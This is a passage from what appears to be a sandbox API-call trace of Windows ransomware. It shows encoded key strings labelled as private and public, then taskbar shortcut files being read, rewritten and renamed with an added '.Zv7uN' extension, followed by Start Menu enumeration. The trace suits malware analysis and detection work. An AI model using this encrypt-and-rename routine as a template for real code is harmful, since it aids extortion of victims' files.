s8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0128.364] GetCurrentThreadId () returned 0xa30 [0128.364] GetCurrentThreadId () returned 0xa30 [0128.364] GetCurrentThreadId () returned 0xa30 [0128.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0128.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0128.365] GetCurrentThreadId () returned 0xa30 [0128.365] GetCurrentThreadId () returned 0xa30 [0128.365] GetCurrentThreadId () returned 0xa30 [0128.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0128.366] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0128.366] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0128.366] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x60b [0128.366] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0128.366] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x60b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x60b, lpOverlapped=0x0) returned 1 [0128.369] CloseHandle (hObject=0x128) returned 1 [0128.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0128.372] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x60b, lpOverlapped=0x0) returned 1 [0128.374] CloseHandle (hObject=0x128) returned 1 [0128.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk.zv7un")) returned 1 [0128.375] GetCurrentThreadId () returned 0xa30 [0128.376] GetCurrentThreadId () returned 0xa30 [0128.376] GetCurrentThreadId () returned 0xa30 [0128.376] GetCurrentThreadId () returned 0xa30 [0128.376] GetCurrentThreadId () returned 0xa30 [0128.376] GetCurrentThreadId () returned 0xa30 [0128.376] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0128.376] GetLastError () returned 0x12 [0128.376] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0128.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60f47e00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60f47e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0128.376] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0128.376] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.376] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60f47e00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60f47e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="..", cAlternateFileName="")) returned 1 [0128.377] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.377] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d58c20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Google Chrome.lnk.Zv7uN", cAlternateFileName="GOOGLE~1.ZV7")) returned 1 [0128.377] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.377] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60d7ed80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Internet Explorer (2).lnk.Zv7uN", cAlternateFileName="INTERN~1.ZV7")) returned 1 [0128.377] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.377] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60df11a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Internet Explorer.lnk.Zv7uN", cAlternateFileName="INTERN~2.ZV7")) returned 1 [0128.377] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.377] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x60e635c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Mozilla Firefox.lnk.Zv7uN", cAlternateFileName="MOZILL~1.ZV7")) returned 1 [0128.377] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.378] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60e89720, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Explorer (2).lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0128.378] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.378] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60efbb40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Explorer.lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0128.378] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.378] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60f21ca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player (2).lnk.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 1 [0128.378] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.378] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60f47e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player.lnk.Zv7uN", cAlternateFileName="WINDOW~4.ZV7")) returned 1 [0128.378] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.378] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.378] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60f47e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player.lnk.Zv7uN", cAlternateFileName="WINDOW~4.ZV7")) returned 0 [0128.378] GetLastError () returned 0x12 [0128.378] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0128.379] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=11, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 1 [0128.382] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu")) returned 0x11 [0128.383] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=11, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 1 [0128.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fc4641, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0128.383] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, 